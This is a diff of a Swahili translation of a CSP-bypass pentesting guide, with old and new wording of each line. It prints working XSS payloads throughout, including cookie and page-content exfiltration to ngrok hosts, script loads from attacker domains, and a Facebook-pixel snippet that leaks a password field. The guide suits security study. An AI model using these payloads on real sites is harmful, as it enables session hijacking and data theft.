- `'report-sample'`: Inajumuisha sampuli ya msimbo unaokiuka katika ripoti ya ukiukaji (inafaa kwa ufuatiliaji).
- `'strict-origin'`: Inafanana na 'self' lakini inahakikisha kiwango cha usalama wa itifaki za vyanzo vinavyolingana na hati (mwenyeji salama tu anaweza kupakia rasilimali kutoka kwa wenyeji salama).
- `'strict-origin-when-cross-origin'`: Inatuma URL kamili wakati wa kufanya maombi ya asili moja lakini inatuma tu asili wakati ombi ni la kuvuka asili.
- `'unsafe-allow-redirects'`: Inaruhusu rasilimali kupakiwa ambazo zitaelekeza mara moja kwa rasilimali nyingine. Haipendekezwi kwani inadhuru usalama.
- `'unsafe-allow-redirects'`: Inaruhusu rasilimali kupakiwa ambazo zitarudisha mara moja kwa rasilimali nyingine. Haipendekezwi kwani inadhuru usalama.
## Kanuni za CSP zisizo salama
@ -126,14 +126,14 @@ Kifaa kinachofanya kazi:
```
### strict-dynamic
Ikiwa unaweza kwa namna fulani kufanya **kodikali ya JS iliyoruhusiwa kuunda tagi mpya ya script** katika DOM na kodikali yako ya JS, kwa sababu script iliyoruhusiwa inaunda hiyo, **tagi mpya ya script itaruhusiwa kutekelezwa**.
Ikiwa unaweza kwa namna fulani kufanya **kodiyako ya JS inayoruhusiwa kuunda tagi mpya ya script** katika DOM na kodiyako ya JS, kwa sababu script inayoruhusiwa inaunda hiyo, **tagi mpya ya script itaruhusiwa kutekelezwa**.
### Wildcard (\*)
```yaml
Content-Security-Policy: script-src 'self' https://google.com https: data *;
```
Kifaa kinachofanya kazi:
```markup
```html
"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>
```
@ -144,7 +144,7 @@ Kifaa kinachofanya kazi:
Content-Security-Policy: script-src 'self' ;
```
Inafanya kazi payloads:
```markup
```html
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>
@ -153,17 +153,17 @@ Inafanya kazi payloads:
```yaml
Content-Security-Policy: script-src 'self'; object-src 'none' ;
```
Ikiwa unaweza kupakia faili la JS unaweza kupita CSP hii:
Ikiwa unaweza kupakia faili la JS unaweza kupita hii CSP:
Payload inayofanya kazi:
```markup
Kifaa kinachofanya kazi:
```html
"/>'><script src="/uploads/picture.png.js"></script>
```
Hata hivyo, kuna uwezekano mkubwa kwamba server inafanya **uthibitishaji wa faili iliyopakiwa** na itaruhusu tu **kupakia aina fulani za faili**.
Hata hivyo, kuna uwezekano mkubwa kwamba seva inafanya **uthibitishaji wa faili iliyopakiwa** na itaruhusu tu **kupakia aina fulani za faili**.
Zaidi ya hayo, hata kama ungeweza kupakia **kodii ya JS ndani** ya faili kwa kutumia kiendelezi kinachokubalika na server (kama: _script.png_) hii haitatosha kwa sababu baadhi ya server kama server ya apache **huchagua aina ya MIME ya faili kulingana na kiendelezi** na vivinjari kama Chrome vitakataa **kutekeleza kodii ya Javascript** ndani ya kitu ambacho kinapaswa kuwa picha. "Kwa matumaini", kuna makosa. Kwa mfano, kutoka kwenye CTF nilijifunza kwamba **Apache hajui** kiendelezi _**.wave**_, kwa hivyo haikihudumii kwa **aina ya MIME kama audio/\***.
Zaidi ya hayo, hata kama ungeweza kupakia **kodii ya JS ndani** ya faili kwa kutumia kiendelezi kinachokubalika na seva (kama: _script.png_), hii haitatosha kwa sababu baadhi ya seva kama seva ya apache **huchagua aina ya MIME ya faili kulingana na kiendelezi** na vivinjari kama Chrome vitakataa **kutekeleza kodii ya Javascript** ndani ya kitu ambacho kinapaswa kuwa picha. "Kwa matumaini", kuna makosa. Kwa mfano, kutoka kwenye CTF nilijifunza kwamba **Apache hajui** kiendelezi _**.wave**_, kwa hivyo haikihudumii kwa **aina ya MIME kama audio/\***.
Kutoka hapa, ikiwa unapata XSS na upakiaji wa faili, na unafanikiwa kupata **kiendelezi kilichokosewa**, unaweza kujaribu kupakia faili yenye kiendelezi hicho na Maudhui ya skripti. Au, ikiwa server inakagua muundo sahihi wa faili iliyopakiwa, tengeneza polyglot ([mfano kadhaa za polyglot hapa](https://github.com/Polydet/polyglot-database)).
Kutoka hapa, ikiwa unapata XSS na upakiaji wa faili, na unafanikiwa kupata **kiendelezi kilichokosewa**, unaweza kujaribu kupakia faili yenye kiendelezi hicho na Maudhui ya skripti. Au, ikiwa seva inakagua muundo sahihi wa faili iliyopakiwa, tengeneza polyglot ([mfano kadhaa za polyglot hapa](https://github.com/Polydet/polyglot-database)).
### Form-action
@ -200,8 +200,8 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
#### Payloads using Angular + a library with functions that return the `window` object ([check out this post](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
> [!NOTE]
> Chapisho linaonyesha kwamba unaweza **kupakia** maktaba zote kutoka `cdn.cloudflare.com` (au repo nyingine yoyote ya maktaba za JS zilizoruhusiwa), kutekeleza kazi zote zilizoongezwa kutoka kila maktaba, na kuangalia **ni kazi zipi kutoka kwa maktaba zipi zinazorudisha kipande cha `window`**.
```markup
> Chapisho linaonyesha kwamba unaweza **kupakia** maktaba zote kutoka `cdn.cloudflare.com` (au repo nyingine yoyote ya maktaba za JS zilizoruhusiwa), kutekeleza kazi zote zilizoongezwa kutoka kila maktaba, na kuangalia **ni kazi zipi kutoka maktaba zipi zinazorudisha kipande cha `window`**.
```html
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
<div ng-app ng-csp>
@ -266,16 +266,16 @@ URL ifuatayo inarejelea example.com (kutoka [hapa](https://www.landh.tech/blog/2
```
https://www.google.com/amp/s/example.com/
```
Kunyanyaswa \*.google.com/script.google.com
Kunyanyasa \*.google.com/script.google.com
Inawezekana kunyanyasa Google Apps Script kupokea taarifa katika ukurasa ndani ya script.google.com. Kama inavyofanywa katika [ripoti hii](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/).
Inawezekana kunyanyasa Google Apps Script kupokea taarifa katika ukurasa ndani ya script.google.com. Kama ilivyo [fanywa katika ripoti hii](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/).
### Mipangilio ya Tatu + JSONP
```http
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
```
Mifano kama hii ambapo `script-src` imewekwa kuwa `self` na kikoa maalum ambacho kimeorodheshwa kinaweza kupitishwa kwa kutumia JSONP. JSONP endpoints zinaruhusu mbinu zisizo salama za callback ambazo zinamruhusu mshambuliaji kutekeleza XSS, payload inayofanya kazi:
```markup
Mifano kama hii ambapo `script-src` imewekwa kwa `self` na kikoa maalum ambacho kimeorodheshwa kinaweza kupitishwa kwa kutumia JSONP. JSONP endpoints zinaruhusu mbinu zisizo salama za callback ambazo zinamruhusu mshambuliaji kutekeleza XSS, payload inayofanya kazi:
```html
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
```
@ -284,26 +284,26 @@ Mifano kama hii ambapo `script-src` imewekwa kuwa `self` na kikoa maalum ambacho
https://www.youtube.com/oembed?callback=alert;
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>
```
[**JSONBee**](https://github.com/zigoo0/JSONBee) **ina viwango vya JSONP vilivyotayarishwa kwa matumizi ya CSP bypass ya tovuti tofauti.**
[**JSONBee**](https://github.com/zigoo0/JSONBee) **ina viwango vya JSONP vilivyo tayari kutumika kwa CSP bypass ya tovuti tofauti.**
Uthibitisho sawa utaweza kutokea ikiwa **kiwango kinachotegemewa kina Open Redirect** kwa sababu ikiwa kiwango cha awali kinategemewa, redirects zinategemewa.
Uthibitisho sawa utaonekana ikiwa **kiwango kinachotegemewa kina Open Redirect** kwa sababu ikiwa kiwango cha awali kinategemewa, redirects zinategemewa.
### Matumizi Mabaya ya Viongozi wa Tatu
### Matumizi Mabaya ya Watu wa Tatu
Kama ilivyoelezwa katika [post ifuatayo](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), kuna maeneo mengi ya viongozi wa tatu, ambayo yanaweza kuruhusiwa mahali fulani katika CSP, yanaweza kutumika vibaya ili kuhamasisha data au kutekeleza msimbo wa JavaScript. Baadhi ya viongozi hawa wa tatu ni:
Kama ilivyoelezwa katika [post ifuatayo](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), kuna maeneo mengi ya watu wa tatu, ambayo yanaweza kuruhusiwa mahali fulani katika CSP, yanaweza kutumika vibaya ili kuhamasisha data au kutekeleza msimbo wa JavaScript. Baadhi ya watu hawa wa tatu ni:
| Kitu | Tovuti Iliyoruhusiwa | Uwezo |
| ----------------- | -------------------------------------------- | ------------ |
| Facebook | www.facebook.com, \*.facebook.com | Exfil |
| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil |
| Jsdelivr | \*.jsdelivr.com, cdn.jsdelivr.net | Exec |
| Amazon CloudFront | \*.cloudfront.net | Exfil, Exec |
| Amazon AWS | \*.amazonaws.com | Exfil, Exec |
| Kituo | Tovuti Iliyokubaliwa | Uwezo |
| ----------------- | ------------------------------------------ | ------------ |
| Facebook | www.facebook.com, \*.facebook.com | Exfil |
| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil |
| Jsdelivr | \*.jsdelivr.com, cdn.jsdelivr.net | Exec |
| Amazon CloudFront | \*.cloudfront.net | Exfil, Exec |
| Amazon AWS | \*.amazonaws.com | Exfil, Exec |
| Azure Websites | \*.azurewebsites.net, \*.azurestaticapps.net | Exfil, Exec |
| Salesforce Heroku | \*.herokuapp.com | Exfil, Exec |
| Google Firebase | \*.firebaseapp.com | Exfil, Exec |
| Salesforce Heroku | \*.herokuapp.com | Exfil, Exec |
| Google Firebase | \*.firebaseapp.com | Exfil, Exec |
Ikiwa utapata yoyote ya tovuti zilizoruhusiwa katika CSP ya lengo lako, kuna uwezekano kwamba unaweza kuweza kupita CSP kwa kujiandikisha kwenye huduma ya viongozi wa tatu na, ama kuhamasisha data kwa huduma hiyo au kutekeleza msimbo.
Ikiwa utapata yoyote ya tovuti zilizokubaliwa katika CSP ya lengo lako, kuna uwezekano kwamba unaweza kuweza kupita CSP kwa kujiandikisha kwenye huduma ya mtu wa tatu na, ama kuhamasisha data kwa huduma hiyo au kutekeleza msimbo.
Kwa mfano, ikiwa utapata CSP ifuatayo:
```
@ -315,21 +315,21 @@ Content-Security-Policy: connect-src www.facebook.com;
```
Unapaswa kuwa na uwezo wa kuhamasisha data, kama ilivyokuwa kila wakati na [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/). Katika kesi hii, unafuata hatua hizi za jumla:
1. Unda akaunti ya Mdevelopment ya Facebook hapa.
1. Unda akaunti ya Facebook Developer hapa.
2. Unda programu mpya ya "Facebook Login" na uchague "Website".
3. Nenda kwenye "Settings -> Basic" na pata "App ID" yako.
4. Katika tovuti unayotaka kuhamasisha data kutoka, unaweza kuhamasisha data kwa kutumia moja kwa moja gadget ya Facebook SDK "fbq" kupitia "customEvent" na payload ya data.
5. Nenda kwenye "Event Manager" ya programu yako na uchague programu uliyounda (kumbuka meneja wa matukio unaweza kupatikana katika URL kama hii: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events).
6. Chagua tab "Test Events" ili kuona matukio yanayotumwa na "tovuti yako".
Kisha, upande wa mwathirika, unatekeleza msimbo ufuatao kuanzisha pixel ya ufuatiliaji ya Facebook ili kuelekeza kwenye app-id ya akaunti ya developer ya Facebook ya mshambuliaji na kutoa tukio maalum kama hili:
Kisha, upande wa mwathirika, unatekeleza msimbo ufuatao kuanzisha pixel ya ufuatiliaji wa Facebook ili kuelekeza kwenye app-id ya akaunti ya mtengenezaji wa Facebook ya mshambuliaji na kutoa tukio maalum kama hili:
```JavaScript
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
});
```
Kuhusu maeneo mengine saba ya tatu yanayobainishwa katika jedwali lililotangulia, kuna njia nyingi nyingine ambazo unaweza kuzitumia vibaya. Angalia [blog post](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) iliyotangulia kwa maelezo zaidi kuhusu matumizi mabaya mengine ya wahusika wa tatu.
Kuhusu maeneo mengine saba ya tatu yaliyotajwa katika jedwali lililopita, kuna njia nyingi nyingine ambazo unaweza kuzitumia vibaya. Rejelea [blog post](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) iliyotangulia kwa maelezo zaidi kuhusu matumizi mabaya ya wengine wa tatu.
### Bypass via RPO (Relative Path Overwrite) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
@ -341,11 +341,11 @@ Kwa mfano, ikiwa CSP inaruhusu njia `https://example.com/scripts/react/`, inawez
```
Brahara hatimaye itapakia `https://example.com/scripts/angular/angular.js`.
Hii inafanya kazi kwa sababu kwa brahara, unapo pakia faili iliyo na jina `..%2fangular%2fangular.js` iliyoko chini ya `https://example.com/scripts/react/`, ambayo inakubaliana na CSP.
Hii inafanya kazi kwa sababu kwa brahara, unachukua faili iliyo na jina `..%2fangular%2fangular.js` iliyoko chini ya `https://example.com/scripts/react/`, ambayo inakubaliana na CSP.
∑, wataifungua, kwa ufanisi wakifanya ombi la `https://example.com/scripts/react/../angular/angular.js`, ambayo ni sawa na `https://example.com/scripts/angular/angular.js`.
∑, wataifungua, kwa ufanisi wakitafuta `https://example.com/scripts/react/../angular/angular.js`, ambayo ni sawa na `https://example.com/scripts/angular/angular.js`.
Kwa **kutumia hii kutokuelewana katika tafsiri ya URL kati ya brahara na seva, sheria za njia zinaweza kupuuziliwa mbali**.
Kwa **kutumia ukosefu huu wa uwiano katika tafsiri ya URL kati ya brahara na seva, sheria za njia zinaweza kupuuziliwa mbali**.
Suluhisho ni kutotreat `%2f` kama `/` upande wa seva, kuhakikisha tafsiri inayofanana kati ya brahara na seva ili kuepuka tatizo hili.
@ -361,21 +361,21 @@ Mfano Mtandaoni:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin
Ikiwa **base-uri** haipo unaweza kuitumia vibaya ili kufanya [**dangling markup injection**](../dangling-markup-html-scriptless-injection/index.html).
Zaidi ya hayo, ikiwa **ukurasa unapo pakia script kwa kutumia njia ya relative** (kama `<script src="/js/app.js">`) kwa kutumia **Nonce**, unaweza kuitumia vibaya **base** **tag** ili kufanya iwe **pakuwe** script kutoka **seva yako mwenyewe kufikia XSS.**\
Ikiwa ukurasa ulio hatarini unapo pakia kwa **httpS**, tumia URL ya httpS katika base.
Zaidi ya hayo, ikiwa **ukurasa unachukua script kwa kutumia njia ya relative** (kama `<script src="/js/app.js">`) kwa kutumia **Nonce**, unaweza kuitumia vibaya **base** **tag** ili kufanya **ipakie** script kutoka **seva yako mwenyewe kufikia XSS.**\
Ikiwa ukurasa ulio hatarini unachukuliwa na **httpS**, tumia URL ya httpS katika base.
```html
<base href="https://www.attacker.com/" />
```
### Matukio ya AngularJS
Sera maalum inayojulikana kama Content Security Policy (CSP) inaweza kuzuia matukio ya JavaScript. Hata hivyo, AngularJS inatoa matukio ya kawaida kama mbadala. Ndani ya tukio, AngularJS inatoa kitu maalum `$event`, kinachorejelea kitu asilia cha tukio la kivinjari. Kitu hiki `$event` kinaweza kutumika kuzunguka CSP. Kwa kuzingatia, katika Chrome, kitu `$event/event` kina sifa ya `path`, ikishikilia orodha ya vitu vilivyohusishwa na mchakato wa utekelezaji wa tukio, huku kitu `window` kikiwa kimewekwa daima mwishoni. Muundo huu ni muhimu kwa mbinu za kutoroka sandbox.
Sera maalum inayojulikana kama Content Security Policy (CSP) inaweza kuzuia matukio ya JavaScript. Hata hivyo, AngularJS inatoa matukio ya kawaida kama mbadala. Ndani ya tukio, AngularJS inatoa kitu cha kipekee `$event`, kinachorejelea kitu asilia cha tukio la kivinjari. Kitu hiki cha `$event` kinaweza kutumika kuzunguka CSP. Kwa kuzingatia, katika Chrome, kitu cha `$event/event` kina sifa ya `path`, kinachoshikilia orodha ya vitu vilivyohusishwa na mchakato wa utekelezaji wa tukio, ambapo kitu cha `window` daima kiko mwishoni. Muundo huu ni muhimu kwa mbinu za kutoroka kwenye sandbox.
Kwa kuelekeza orodha hii kwa chujio cha `orderBy`, inawezekana kuipitia, ikitumia kipengele cha mwisho (kitu `window`) kuanzisha kazi ya kimataifa kama `alert()`. Kipande cha msimbo kilichoonyeshwa hapa chini kinaelezea mchakato huu:
Kwa kuelekeza orodha hii kwa kichujio cha `orderBy`, inawezekana kuzunguka juu yake, ikitumia kipengele cha mwisho (kitu cha `window`) kuanzisha kazi ya kimataifa kama `alert()`. Kipande cha msimbo kilichoonyeshwa hapa chini kinaelezea mchakato huu:
```xml
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
```
Hii snippet inaonyesha matumizi ya `ng-focus` directive kuanzisha tukio, ikitumia `$event.path|orderBy` kubadilisha array ya `path`, na kutumia objekti ya `window` kutekeleza kazi ya `alert()`, hivyo kufichua `document.cookie`.
Hii sehemu inaonyesha matumizi ya `ng-focus` directive ili kuanzisha tukio, ikitumia `$event.path|orderBy` kubadilisha array ya `path`, na kutumia kituo cha `window` kutekeleza kazi ya `alert()`, hivyo kufichua `document.cookie`.
**Pata bypass nyingine za Angular katika** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
@ -383,7 +383,7 @@ Hii snippet inaonyesha matumizi ya `ng-focus` directive kuanzisha tukio, ikitumi
```
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
```
Sera ya CSP inayoruhusu maeneo ya kupakia skripti katika programu ya Angular JS inaweza kupitishwa kupitia mwito wa kazi za kurudi na baadhi ya madarasa yenye udhaifu. Taarifa zaidi kuhusu mbinu hii inaweza kupatikana katika mwongozo wa kina ulio kwenye [git repository](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22).
Sera ya CSP inayoruhusu maeneo ya kupakia skripti katika programu ya Angular JS inaweza kupitishwa kupitia mwito wa kazi za kurudi na baadhi ya madarasa yaliyo hatarini. Taarifa zaidi kuhusu mbinu hii inaweza kupatikana katika mwongozo wa kina ulio kwenye [git repository](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22).
Payloads zinazofanya kazi:
```html
@ -397,9 +397,9 @@ Other JSONP arbitrary execution endpoints can be found in [**here**](https://git
### Bypass via Redirection
Nini kinatokea wakati CSP inakutana na uelekezaji wa upande wa seva? Ikiwa uelekezaji unapelekea kwenye asili tofauti ambayo hairuhusiwi, bado itashindwa.
Nini kinatokea wakati CSP inakutana na uelekeo wa upande wa seva? Ikiwa uelekeo unapeleka kwenye asili tofauti ambayo hairuhusiwi, bado itashindwa.
Hata hivyo, kulingana na maelezo katika [CSP spec 4.2.2.3. Paths and Redirects](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects), ikiwa uelekezaji unapelekea kwenye njia tofauti, inaweza kupita vizuizi vya awali.
Hata hivyo, kulingana na maelezo katika [CSP spec 4.2.2.3. Paths and Redirects](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects), ikiwa uelekeo unapeleka kwenye njia tofauti, inaweza kupita vizuizi vya awali.
Here's an example:
```html
@ -419,15 +419,15 @@ content="script-src http://localhost:5555 https://www.google.com/a/b/c/d" />
</body>
</html>
```
Ikiwa CSP imewekwa kwa `https://www.google.com/a/b/c/d`, kwa kuwa njia inazingatiwa, skripti za `/test` na `/a/test` zitazuiliwa na CSP.
Ikiwa CSP imewekwa kwa `https://www.google.com/a/b/c/d`, kwa kuwa njia inachukuliwa, skripti za `/test` na `/a/test` zitazuiliwa na CSP.
Hata hivyo, `http://localhost:5555/301` itakuwa **imeelekezwa upande wa seva kwa `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Kwa kuwa ni kuelekezwa, **njia haizingatiwi**, na **skripti inaweza kupakiwa**, hivyo kuweza kupita kikomo cha njia.
Hata hivyo, `http://localhost:5555/301` itakuwa **imeelekezwa upande wa seva kwa `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Kwa kuwa ni kuelekezwa, **njia haitachukuliwa**, na **skripti inaweza kupakiwa**, hivyo kuzunguka kikomo cha njia.
Kwa kuelekezwa hivi, hata kama njia imeelezwa kikamilifu, bado itapita.
Kwa kuelekezwa huku, hata kama njia imeelezwa kikamilifu, bado itazungukwa.
Kwa hivyo, suluhisho bora ni kuhakikisha kwamba tovuti haina udhaifu wowote wa kuelekeza wazi na kwamba hakuna maeneo ambayo yanaweza kutumika katika sheria za CSP.
### Pita CSP na alama zisizokamilika
### Zungusha CSP na alama zisizokamilika
Soma [jinsi hapa](../dangling-markup-html-scriptless-injection/index.html).
@ -446,11 +446,11 @@ Image().src='http://PLAYER_SERVER/?'+_)
```
From: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
Unaweza pia kutumia usanidi huu **kuchaji msimbo wa javascript ulioingizwa ndani ya picha**. Ikiwa kwa mfano, ukurasa unaruhusu kuchaji picha kutoka Twitter. Unaweza **kuunda** **picha maalum**, **kuipakia** kwenye Twitter na kutumia "**unsafe-inline**" ili **kutekeleza** msimbo wa JS (kama XSS ya kawaida) ambayo it **kuchaji** **picha**, **kuondoa** **JS** kutoka kwake na **kuitekeleza** **hiyo**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
Unaweza pia kutumia usanidi huu **kupakia msimbo wa javascript ulioingizwa ndani ya picha**. Ikiwa kwa mfano, ukurasa unaruhusu kupakia picha kutoka Twitter. Unaweza **kuunda** **picha maalum**, **kuipakia** kwenye Twitter na kutumia "**unsafe-inline**" **kutekeleza** msimbo wa JS (kama XSS ya kawaida) ambayo it **pakiwa** **picha**, **kuondoa** **JS** kutoka kwake na **kuitekeleza** **hiyo**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
### Kwa Wafanyakazi wa Huduma
Kazi ya wafanyakazi wa huduma **`importScripts`** haipunguzwi na CSP:
Kazi za wafanyakazi wa huduma **`importScripts`** hazipunguzwi na CSP:
{{#ref}}
../xss-cross-site-scripting/abusing-service-workers.md
@ -462,7 +462,7 @@ Kazi ya wafanyakazi wa huduma **`importScripts`** haipunguzwi na CSP:
#### Chrome
Ikiwa **parameta** iliyotumwa na wewe inakua **imebandikwa ndani** ya **tangazo** la **sera,** basi unaweza **kubadilisha** **sera** kwa njia fulani ambayo inafanya **iwe haina maana**. Unaweza **kuruhusu skripti 'unsafe-inline'** na mojawapo ya hizi bypasses:
Ikiwa **parameta** iliyotumwa na wewe inakua **imebandikwa ndani** ya **tangazo** la **sera,** basi unaweza **kubadilisha** **sera** kwa njia fulani ambayo inafanya **iwe haina maana**. Unaweza **kuruhusu script 'unsafe-inline'** na mojawapo ya hizi bypasses:
```bash
script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
@ -478,7 +478,7 @@ Mfano: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;\_\&y=%3Cs
### img-src \*; kupitia XSS (iframe) - Shambulio la Wakati
Tazama ukosefu wa agizo `'unsafe-inline'`\
Wakati huu unaweza kumfanya mwathirika **kupakia** ukurasa katika **udhibiti wako** kupitia **XSS** na `<iframe`. Wakati huu unataka kumfanya mwathirika aingie kwenye ukurasa ambao unataka kutoa taarifa (**CSRF**). Huwezi kufikia maudhui ya ukurasa, lakini ikiwa kwa namna fulani unaweza **kudhibiti wakati ambao ukurasa unahitaji kupakia** unaweza kutoa taarifa unazohitaji.
Wakati huu unaweza kumfanya mwathirika **paku** ukurasa katika **udhibiti wako** kupitia **XSS** na `<iframe`. Wakati huu unataka kumfanya mwathirika aingie kwenye ukurasa ambao unataka kutoa taarifa (**CSRF**). Huwezi kufikia maudhui ya ukurasa, lakini ikiwa kwa namna fulani unaweza **kudhibiti wakati ukurasa unahitaji kupakia** unaweza kutoa taarifa unazohitaji.
Wakati huu **bendera** itachukuliwa, kila wakati **herufi inakisiwa kwa usahihi** kupitia SQLi **jibu** linachukua **muda zaidi** kutokana na kazi ya kulala. Kisha, utaweza kutoa bendera:
```html
@ -557,7 +557,7 @@ src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
```
Katika [**hii CTF writeup**](https://github.com/aszx87410/ctf-writeups/issues/48), ilikuwa inawezekana kupitia **HTML injection** **kuzuia** zaidi **CSP** hivyo script inayozuia CSTI ilizuiliwa na kwa hivyo **udhaifu ukawa unatumika.**\
CSP inaweza kufanywa kuwa na vizuizi zaidi kwa kutumia **HTML meta tags** na scripts za ndani zinaweza kuzuiliwa **kuondoa** **kuingia** zinazoruhusu **nonce** zao na **kuwezesha script maalum za ndani kupitia sha**:
CSP inaweza kufanywa kuwa na vizuizi zaidi kwa kutumia **HTML meta tags** na scripts za ndani zinaweza kuzuiliwa **kuondoa** **ingizo** linaloruhusu **nonce** zao na **kuwezesha script maalum za ndani kupitia sha**:
```html
<meta
http-equiv="Content-Security-Policy"
@ -568,7 +568,7 @@ content="script-src 'self'
```
### JS exfiltration with Content-Security-Policy-Report-Only
Ikiwa unaweza kusababisha server ijibu na kichwa **`Content-Security-Policy-Report-Only`** chenye **thamani inayodhibitiwa na wewe** (labda kwa sababu ya CRLF), unaweza kufanya ielekeze kwenye server yako na ikiwa un **fungia** **maudhui ya JS** unayotaka kuhamasisha na **`<script>`** na kwa sababu ina uwezekano mkubwa `unsafe-inline` hairuhusiwi na CSP, hii itasababisha **kosa la CSP** na sehemu ya script (iliyokuwa na taarifa nyeti) itatumwa kwa server kutoka `Content-Security-Policy-Report-Only`.
Ikiwa unaweza kusababisha seva ijibu na kichwa **`Content-Security-Policy-Report-Only`** chenye **thamani inayodhibitiwa na wewe** (labda kwa sababu ya CRLF), unaweza kufanya ielekeze kwenye seva yako na ikiwa un **fungia** **maudhui ya JS** unayotaka kuhamasisha na **`<script>`** na kwa sababu kuna uwezekano mkubwa `unsafe-inline` hairuhusiwi na CSP, hii itasababisha **kosa la CSP** na sehemu ya script (iliyokuwa na taarifa nyeti) itatumwa kwa seva kutoka `Content-Security-Policy-Report-Only`.
Kwa mfano [**angalia hii CTF writeup**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
@ -579,19 +579,19 @@ document.querySelector("DIV").innerHTML =
```
### Kueneza Taarifa kwa CSP na Iframe
- `iframe` inaundwa inayolenga URL (tuiite `https://example.redirect.com`) ambayo inaruhusiwa na CSP.
- URL hii kisha inarejelea URL ya siri (mfano, `https://usersecret.example2.com`) ambayo **hairuhusiwi** na CSP.
- Kwa kusikiliza tukio la `securitypolicyviolation`, mtu anaweza kukamata mali ya `blockedURI`. Mali hii inaonyesha jina la kikoa la URI iliyozuiwa, ikieneza jina la siri ambalo URL ya awali ilirejelea.
- `iframe` inaundwa inayolenga URL (tuitaje `https://example.redirect.com`) ambayo inaruhusiwa na CSP.
- URL hii kisha inarejelea URL ya siri (kwa mfano, `https://usersecret.example2.com`) ambayo **hairuhusiwi** na CSP.
- Kwa kusikiliza tukio la `securitypolicyviolation`, mtu anaweza kukamata mali ya `blockedURI`. Mali hii inaonyesha jina la kikoa cha URI iliyozuiwa, ikivuja jina la siri la kikoa ambacho URL ya awali ilielekeza.
Ni muhimu kutambua kwamba vivinjari kama Chrome na Firefox vina tabia tofauti katika kushughulikia iframes kuhusiana na CSP, na kusababisha uwezekano wa kueneza taarifa nyeti kutokana na tabia isiyoeleweka.
Ni ya kuvutia kutambua kwamba vivinjari kama Chrome na Firefox vina tabia tofauti katika kushughulikia iframes kuhusiana na CSP, ikisababisha uvujaji wa taarifa nyeti kutokana na tabia isiyoeleweka.
Mbinu nyingine inahusisha kutumia CSP yenyewe ili kubaini subdomain ya siri. Njia hii inategemea algorithm ya kutafuta binary na kurekebisha CSP ili kujumuisha maeneo maalum ambayo yamezuiwa kwa makusudi. Kwa mfano, ikiwa subdomain ya siri ina wahusika wasiojulikana, unaweza kujaribu subdomains tofauti kwa kubadilisha mwelekeo wa CSP ili kuzuiwa au kuruhusiwa subdomains hizi. Hapa kuna kipande kinachoonyesha jinsi CSP inaweza kuwekwa ili kuwezesha mbinu hii:
